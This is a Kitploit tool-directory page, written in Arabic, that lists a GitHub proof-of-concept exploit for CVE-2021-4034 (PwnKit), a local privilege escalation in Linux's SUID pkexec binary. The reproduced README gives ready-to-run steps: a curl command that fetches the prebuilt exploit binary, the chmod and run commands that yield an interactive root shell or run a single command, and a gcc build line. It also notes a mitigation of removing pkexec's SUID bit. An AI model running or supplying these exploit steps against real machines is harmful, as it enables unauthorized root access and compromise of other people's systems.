Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PwnKit-CVE-2021-4034 — استغلال إثبات المفهوم لـ CVE-2021-4034 (PwnKit) يستهدف ثنائي pkexec SUID لتحقيق تصعيد الامتيازات المحلية على أنظمة Linux. يتضمن تعليمات التنفيذ والبناء اليدوية. | Kitploit
أدوات/GitHubGitHub/jayhutajulu1/pwnkit-cve-2021-4034
تصعيد الامتيازاتتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقاستغلال الملفات الثنائية
GitHubjayhutajulu1/pwnkit-cve-2021-4034

PwnKit-CVE-2021-4034

استغلال إثبات المفهوم لـ CVE-2021-4034 (PwnKit) يستهدف ثنائي pkexec SUID لتحقيق تصعيد الامتيازات المحلية على أنظمة Linux. يتضمن تعليمات التنفيذ والبناء اليدوية.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
24منذ 4 أشهرلم تتم المراجعة بعد

PwnKit

إثبات المفهوم لـ PwnKit / CVE-2021-4034 - تصعيد الامتيازات المحلية لـ Pkexec

الاستغلال

يدويًا

curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command

تم التصحيح

تشغيل الاستغلال ضد الإصدارات المصححة سينتج المخرجات التالية.

البناء

gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

التخفيف

إذا لم تكن التصحيحات متاحة لنظام التشغيل الخاص بك، يمكنك إزالة بت SUID من pkexec كتخفيف مؤقت.

# chmod 0755 /usr/bin/pkexec

التفاصيل التقنية

  • https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

المراجع

  • https://github.com/arthepsy/CVE-2021-4034/
تنزيل الأداة